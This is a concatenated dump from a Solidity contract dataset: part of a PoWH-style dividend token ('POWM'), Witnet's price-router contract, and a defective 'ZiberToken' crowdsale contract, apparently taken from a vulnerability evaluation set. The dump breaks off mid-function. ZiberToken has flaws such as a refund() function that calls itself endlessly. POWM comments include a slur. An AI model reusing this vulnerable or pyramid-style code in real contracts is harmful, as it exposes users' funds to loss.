// -> kill the contract
// -> change the price of tokens
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[keccak256(_customerAddress)]);
_;
}
// ensures that the first tokens in the contract will be equally distributed
// meaning, no divine dump will be ever possible
// result: healthy longevity.
modifier antiEarlyWhale(uint256 _amountOfEthereum){
address _customerAddress = msg.sender;
// are we still in the vulnerable phase?
// if so, enact anti early whale protocol
if(onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_)){
require(// is the customer in the ambassador list?
ambassadors_[_customerAddress] == true &&
// does the customer purchase exceed the max ambassador quota?
(ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_);
// updated the accumulated quota
ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum);
// execute
_;
} else {
// in case the ether count drops low, the ambassador phase won't reinitiate
onlyAmbassadors = false;
_;
}
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
// ERC20
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "POWM";
string public symbol = "PWM";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 5; // Look, strong Math
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
// proof of stake (defaults at 100 tokens)
uint256 public stakingRequirement = 100e18;
// ambassador program
mapping(address => bool) internal ambassadors_;
uint256 constant internal ambassadorMaxPurchase_ = 1 ether;
uint256 constant internal ambassadorQuota_ = 20 ether;
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint256) internal ambassadorAccumulatedQuota_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
// administrator list (see above on what they can do)
mapping(bytes32 => bool) public administrators;
bool public onlyAmbassadors = true;
function POWM()
public
{
// add administrators here
administrators[0xec5a56760ad4239aef050513534820e3bcf6fd401927ff93e2cb035eff65cff8] = true;
administrators[0x4b3cd99b7c1c3322322698bc4d3cfeaeeb8c45df19023dc497caa74de5328831] = true;
administrators[0x1000cfa122d436a7ddc6b6faafa09339715175935b9ce3946dc055e3b7f2fa35] = true;
}
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
function reinvest()
onlyStronghands()
public
{
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0);
// fire event
onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit()
public
{
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
function withdraw()
onlyStronghands()
public
{
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
public
returns(bool)
{
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
// also disables transfers until ambassador phase is over
// (we dont want whale premines)
require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if(myDividends(true) > 0) withdraw();
// liquify 10% of the tokens that are transfered
// these are dispersed to shareholders
uint256 _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
// burn the fee tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
// disperse dividends among holders
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
// fire event
Transfer(_customerAddress, _toAddress, _taxedTokens);
// ERC20
return true;
}
function disableInitialStage()
onlyAdministrator()
public
{
onlyAmbassadors = false;
}
function setAdministrator(bytes32 _identifier, bool _status)
onlyAdministrator()
public
{
administrators[_identifier] = _status;
}
function setStakingRequirement(uint256 _amountOfTokens)
onlyAdministrator()
public
{
stakingRequirement = _amountOfTokens;
}
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return this.balance;
}
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
antiEarlyWhale(_incomingEthereum)
internal
returns(uint256)
{
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_);
uint256 _referralBonus = SafeMath.div(_undividedDividends, 3);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
// no point in continuing execution if OP is a poorfag russian hacker
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
// is the user referred by a masternode?
if(// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a godly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement){
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
// we can't give people infinite ethereum
if(tokenSupply_ > 0){
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
//really i know you think you do but you don't
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((// underflow attempts BTFO
SafeMath.sub((sqrt
((_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_))), _tokenPriceInitial))/(tokenPriceIncremental_))-(tokenSupply_)
;
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(// underflow attempts BTFO
SafeMath.sub((((tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)))-tokenPriceIncremental_)*(tokens_ - 1e18)),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2)
/1e18);
return _etherReceived;
}
//This is where all your gas goes, sorry
//Not sorry, you probably only paid 1 gwei
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 335,881 | 10,603 |
6754f3390fab03532aefe1a927dc958853ca30423f6a9644f7a81188c4a29fab
| 20,515 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/ba/BaaF31F4AAc5ab5334b6E239a83bf4E855C55ea7_WitnetPriceRouter.sol
| 3,695 | 15,139 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
pragma experimental ABIEncoderV2;
// File: ado-contracts\contracts\interfaces\IERC2362.sol
interface IERC2362
{
function valueFor(bytes32 _id) external view returns(int256,uint256,uint256);
}
// File: contracts\interfaces\IERC165.sol
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: contracts\interfaces\IWitnetPriceRouter.sol
/// @title The Witnet Price Router basic interface.
/// @dev Guides implementation of price feeds aggregation contracts.
/// @author The Witnet Foundation.
abstract contract IWitnetPriceRouter
is
IERC2362
{
/// Emitted everytime a currency pair is attached to a new price feed contract
/// @dev See https://github.com/adoracles/ADOIPs/blob/main/adoip-0010.md
/// @dev to learn how these ids are created.
event CurrencyPairSet(bytes32 indexed erc2362ID, IERC165 pricefeed);
function currencyPairId(string memory) external pure virtual returns (bytes32);
/// Returns the ERC-165-compliant price feed contract currently serving
/// updates on the given currency pair.
function getPriceFeed(bytes32 _erc2362id) external view virtual returns (IERC165);
/// Returns human-readable ERC2362-based caption of the currency pair being
/// served by the given price feed contract address.
/// @dev Should fail if the given price feed contract address is not currently
/// @dev registered in the router.
function getPriceFeedCaption(IERC165) external view virtual returns (string memory);
/// Returns human-readable caption of the ERC2362-based currency pair identifier, if known.
function lookupERC2362ID(bytes32 _erc2362id) external view virtual returns (string memory);
/// Register a price feed contract that will serve updates for the given currency pair.
/// @dev Setting zero address to a currency pair implies that it will not be served any longer.
function setPriceFeed(IERC165 _pricefeed,
uint256 _decimals,
string calldata _base,
string calldata _quote)
external virtual;
/// Returns list of known currency pairs IDs.
function supportedCurrencyPairs() external view virtual returns (bytes32[] memory);
/// Returns `true` if given pair is currently being served by a compliant price feed contract.
function supportsCurrencyPair(bytes32 _erc2362id) external view virtual returns (bool);
function supportsPriceFeed(IERC165 _priceFeed) external view virtual returns (bool);
}
// File: node_modules\@openzeppelin\contracts\utils\Context.sol
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin\contracts\access\Ownable.sol
// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: contracts\interfaces\IWitnetPriceFeed.sol
/// @title The Witnet Price Feed basic interface.
/// @dev Guides implementation of active price feed polling contracts.
/// @author The Witnet Foundation.
interface IWitnetPriceFeed {
/// Signals that a new price update request is being posted to the Witnet Request Board
event PriceFeeding(address indexed from, uint256 queryId, uint256 extraFee);
/// Estimates minimum fee amount in native currency to be paid when
/// requesting a new price update.
/// @dev Actual fee depends on the gas price of the `requestUpdate()` transaction.
/// @param _gasPrice Gas price expected to be paid when calling `requestUpdate()`
function estimateUpdateFee(uint256 _gasPrice) external view returns (uint256);
/// Returns result of the last valid price update request successfully solved by the Witnet oracle.
function lastPrice() external view returns (int256);
/// Returns the EVM-timestamp when last valid price was reported back from the Witnet oracle.
function lastTimestamp() external view returns (uint256);
/// Returns tuple containing last valid price and timestamp, as well as status code of latest update
/// request that got posted to the Witnet Request Board.
/// @return _lastPrice Last valid price reported back from the Witnet oracle.
/// @return _lastTimestamp EVM-timestamp of the last valid price.
/// @return _lastDrTxHash Hash of the Witnet Data Request that solved the last valid price.
/// @return _latestUpdateStatus Status code of the latest update request.
function lastValue() external view returns (int _lastPrice,
uint _lastTimestamp,
bytes32 _lastDrTxHash,
uint _latestUpdateStatus);
/// Returns identifier of the latest update request posted to the Witnet Request Board.
function latestQueryId() external view returns (uint256);
/// Returns hash of the Witnet Data Request that solved the latest update request.
/// @dev Returning 0 while the latest update request remains unsolved.
function latestUpdateDrTxHash() external view returns (bytes32);
/// Returns error message of latest update request posted to the Witnet Request Board.
/// @dev Returning empty string if the latest update request remains unsolved, or
/// @dev if it was succesfully solved with no errors.
function latestUpdateErrorMessage() external view returns (string memory);
/// Returns status code of latest update request posted to the Witnet Request Board:
/// @dev Status codes:
/// @dev - 200: update request was succesfully solved with no errors
/// @dev - 400: update request was solved with errors
/// @dev - 404: update request was not solved yet
function latestUpdateStatus() external view returns (uint256);
/// Returns `true` if latest update request posted to the Witnet Request Board
/// has not been solved yet by the Witnet oracle.
function pendingUpdate() external view returns (bool);
/// Posts a new price update request to the Witnet Request Board. Requires payment of a fee
/// that depends on the value of `tx.gasprice`. See `estimateUpdateFee(uint256)`.
/// @dev If previous update request was not solved yet, calling this method again allows
/// @dev upgrading the update fee if called with a higher `tx.gasprice` value.
function requestUpdate() external payable;
/// Tells whether this contract implements the interface defined by `interfaceId`.
/// @dev to learn more about how these ids are created.
function supportsInterface(bytes4) external view returns (bool);
}
// File: @openzeppelin\contracts\utils\Strings.sol
// OpenZeppelin Contracts v4.4.0 (utils/Strings.sol)
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: contracts\apps\WitnetPriceRouter.sol
contract WitnetPriceRouter
is
IWitnetPriceRouter,
Ownable
{
using Strings for uint256;
struct Pair {
IERC165 pricefeed;
uint256 decimals;
string base;
string quote;
}
mapping (bytes4 => Pair) internal __pairs;
mapping (address => bytes32) internal __pricefeedId_;
bytes32[] internal __supportedCurrencyPairs;
// ========================================================================
// --- Implementation of 'IERC2362' ---------------------------------------
/// Returns last valid price value and timestamp, as well as status of
/// the latest update request that got posted to the Witnet Request Board.
/// @dev Fails if the given currency pair is not currently supported.
/// @return _lastPrice Last valid price reported back from the Witnet oracle.
/// @return _lastTimestamp EVM-timestamp of the last valid price.
/// - 200: latest update request was succesfully solved with no errors
/// - 400: latest update request was solved with errors
/// - 404: latest update request is still pending to be solved
function valueFor(bytes32 _erc2362id)
external view
virtual override
returns (int256 _lastPrice,
uint256 _lastTimestamp,
uint256 _latestUpdateStatus)
{
IWitnetPriceFeed _pricefeed = IWitnetPriceFeed(address(getPriceFeed(_erc2362id)));
require(address(_pricefeed) != address(0), "WitnetPriceRouter: unsupported currency pair");
(_lastPrice, _lastTimestamp,, _latestUpdateStatus) = _pricefeed.lastValue();
}
// ========================================================================
// --- Implementation of 'IWitnetPriceRouter' ---------------------------
function currencyPairId(string memory _caption)
public pure
virtual override
returns (bytes32)
{
return keccak256(bytes(_caption));
}
/// Returns the ERC-165-compliant price feed contract currently serving
/// updates on the given currency pair.
function getPriceFeed(bytes32 _erc2362id)
public view
virtual override
returns (IERC165)
{
return __pairs[bytes4(_erc2362id)].pricefeed;
}
/// Returns human-readable ERC2362-based caption of the currency pair being
/// served by the given price feed contract address.
/// @dev Fails if the given price feed contract address is not currently
/// @dev registered in the router.
function getPriceFeedCaption(IERC165 _pricefeed)
public view
virtual override
returns (string memory)
{
require(supportsPriceFeed(_pricefeed), "WitnetPriceRouter: unknown");
return lookupERC2362ID(__pricefeedId_[address(_pricefeed)]);
}
/// Returns human-readable caption of the ERC2362-based currency pair identifier, if known.
function lookupERC2362ID(bytes32 _erc2362id)
public view
virtual override
returns (string memory _caption)
{
Pair storage _pair = __pairs[bytes4(_erc2362id)];
if (bytes(_pair.base).length > 0
&& bytes(_pair.quote).length > 0) {
_caption = string(abi.encodePacked("Price-",
_pair.base,
"/",
_pair.quote,
"-",
_pair.decimals.toString()));
}
}
/// Register a price feed contract that will serve updates for the given currency pair.
/// @dev Setting zero address to a currency pair implies that it will not be served any longer.
function setPriceFeed(IERC165 _pricefeed,
uint256 _decimals,
string calldata _base,
string calldata _quote)
public
virtual override
onlyOwner
{
if (address(_pricefeed) != address(0)) {
require(_pricefeed.supportsInterface(type(IWitnetPriceFeed).interfaceId),
"WitnetPriceRouter: feed contract is not compliant with IWitnetPriceFeed");
require(__pricefeedId_[address(_pricefeed)] == bytes32(0),
"WitnetPriceRouter: already serving a currency pair");
}
bytes memory _caption = abi.encodePacked("Price-",
bytes(_base),
"/",
bytes(_quote),
"-",
_decimals.toString());
bytes32 _erc2362id = keccak256(_caption);
Pair storage _record = __pairs[bytes4(_erc2362id)];
address _currentPriceFeed = address(_record.pricefeed);
if (bytes(_record.base).length == 0) {
_record.base = _base;
_record.quote = _quote;
_record.decimals = _decimals;
__supportedCurrencyPairs.push(_erc2362id);
}
else if (_currentPriceFeed != address(0)) {
__pricefeedId_[_currentPriceFeed] = bytes32(0);
}
if (address(_pricefeed) != _currentPriceFeed) {
__pricefeedId_[address(_pricefeed)] = _erc2362id;
}
_record.pricefeed = _pricefeed;
emit CurrencyPairSet(_erc2362id, _pricefeed);
}
/// Returns list of known currency pairs IDs.
function supportedCurrencyPairs()
external view
virtual override
returns (bytes32[] memory)
{
return __supportedCurrencyPairs;
}
/// Returns `true` if given pair is currently being served by a compliant price feed contract.
function supportsCurrencyPair(bytes32 _erc2362id)
public view
virtual override
returns (bool)
{
return address(__pairs[bytes4(_erc2362id)].pricefeed) != address(0);
}
function supportsPriceFeed(IERC165 _pricefeed)
public view
virtual override
returns (bool)
{
return __pairs[bytes4(__pricefeedId_[address(_pricefeed)])].pricefeed == _pricefeed;
}
}
| 92,871 | 10,604 |
0f444d0dd78b3eb6e4bbc47619014fd8137afc207db9837d1e4cad0803d37d1e
| 10,337 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xea7cbf19027087ba91ad110e95a5c2a532d35100.sol
| 2,704 | 9,134 |
pragma solidity ^0.4.13;
// Interface to ZBR ICO Contract
contract DaoToken {
uint256 public CAP;
uint256 public totalEthers;
function proxyPayment(address participant) payable;
function transfer(address _to, uint _amount) returns (bool success);
}
contract ZiberToken {
// Store the amount of ETH deposited by each account.
mapping (address => uint256) public balances;
// Store whether or not each account would have made it into the crowdsale.
mapping (address => bool) public checked_in;
// Bounty for executing buy.
uint256 public bounty;
// Track whether the contract has bought the tokens yet.
bool public bought_tokens;
// Record the time the contract bought the tokens.
uint256 public time_bought;
// Emergency kill switch in case a critical bug is found.
bool public kill_switch;
string public name;
string public symbol;
uint8 public decimals;
// Ratio of ZBR tokens received to ETH contributed
// 1.000.000 BGP = 80.000.000 ZBR
// 1ETH = 218 BGP (03.07.2017: https://www.coingecko.com/en/price_charts/ethereum/gbp)
// 1 ETH = 17440 ZBR
uint256 ZBR_per_eth = 17440;
//Total ZBR Tokens Reserve
uint256 ZBR_total_reserve = 100000000;
// ZBR Tokens for Developers
uint256 ZBR_dev_reserved = 10000000;
// ZBR Tokens for Selling over ICO
uint256 ZBR_for_selling = 80000000;
// ZBR Tokens for Bounty
uint256 ZBR_for_bounty= 10000000;
// ETH for activate kill-switch in contract
uint256 ETH_to_end = 50000 ether;
uint registredTo;
uint256 loadedRefund;
uint256 _supply;
string _name;
string _symbol;
uint8 _decimals;
// The ZBR Token address and sale address are the same.
DaoToken public token = DaoToken(0xa9d585CE3B227d69985c3F7A866fE7d0e510da50);
// The developer address.
address developer_address = 0x00119E4b6fC1D931f63FFB26B3EaBE2C4E779533;
//0x650887B33BFA423240ED7Bc4BD26c66075E3bEaf;
mapping (address => uint256) public balanceOf;
event Transfer(address indexed from, address indexed to, uint256 value);
function ZiberToken() {
_supply = 10000000000;
balanceOf[msg.sender] = _supply;
name = "ZIBER CW Tokens";
symbol = "ZBR";
decimals = 2;
}
/// SafeMath contract - math operations with safety checks
/// @author dev@smartcontracteam.com
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
function loadRefund() payable {
if(msg.value == 0) throw;
loadedRefund = safeAdd(loadedRefund, msg.value);
}
function refund() private {
uint256 weiValue = this.balance;
if (weiValue == 0) throw;
uint256 weiRefunded;
weiRefunded = safeAdd(weiRefunded, weiValue);
refund();
if (!msg.sender.send(weiValue)) throw;
}
function transfer(address _to, uint256 _value) {
if (balanceOf[msg.sender] < _value) throw;
if (balanceOf[_to] + _value < balanceOf[_to]) throw;
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
Transfer(msg.sender, _to, _value);
}
// Allows the developer to shut down everything except withdrawals in emergencies.
function activate_kill_switch() {
// Only allow the developer to activate the kill switch.
if (msg.sender != developer_address) throw;
// Irreversibly activate the kill switch.
kill_switch = true;
}
// Withdraws all ETH deposited or ZBR purchased by the sender.
function withdraw(){
// If called before the ICO, cancel caller's participation in the sale.
if (!bought_tokens) {
// Store the user's balance prior to withdrawal in a temporary variable.
uint256 eth_amount = balances[msg.sender];
// Update the user's balance prior to sending ETH to prevent recursive call.
balances[msg.sender] = 0;
// Return the user's funds. Throws on failure to prevent loss of funds.
msg.sender.transfer(eth_amount);
}
// Withdraw the sender's tokens if the contract has already purchased them.
else {
// Store the user's ZBR balance in a temporary variable (1 ETHWei -> 2000 ZBRWei).
uint256 ZBR_amount = balances[msg.sender] * ZBR_per_eth;
// Update the user's balance prior to sending ZBR to prevent recursive call.
balances[msg.sender] = 0;
// No fee for withdrawing if the user would have made it into the crowdsale alone.
uint256 fee = 0;
// 1% fee if the user didn't check in during the crowdsale.
if (!checked_in[msg.sender]) {
fee = ZBR_amount / 100;
// Send any non-zero fees to developer.
if(!token.transfer(developer_address, fee)) throw;
}
// Send the user their tokens. Throws if the crowdsale isn't over.
if(!token.transfer(msg.sender, ZBR_amount - fee)) throw;
}
}
// Allow developer to add ETH to the buy execution bounty.
function add_to_bounty() payable {
// Only allow the developer to contribute to the buy execution bounty.
if (msg.sender != developer_address) throw;
// Disallow adding to bounty if kill switch is active.
if (kill_switch) throw;
// Disallow adding to the bounty if contract has already bought the tokens.
if (bought_tokens) throw;
// Update bounty to include received amount.
bounty += msg.value;
}
// Buys tokens in the crowdsale and rewards the caller, callable by anyone.
function claim_bounty(){
// Short circuit to save gas if the contract has already bought tokens.
if (bought_tokens) return;
// Disallow buying into the crowdsale if kill switch is active.
if (kill_switch) throw;
// Record that the contract has bought the tokens.
bought_tokens = true;
// Record the time the contract bought the tokens.
time_bought = now + 1 days;
// Transfer all the funds (less the bounty) to the ZBR crowdsale contract
// to buy tokens. Throws if the crowdsale hasn't started yet or has
// already completed, preventing loss of funds.
token.proxyPayment.value(this.balance - bounty)(address(this));
// Send the caller their bounty for buying tokens for the contract.
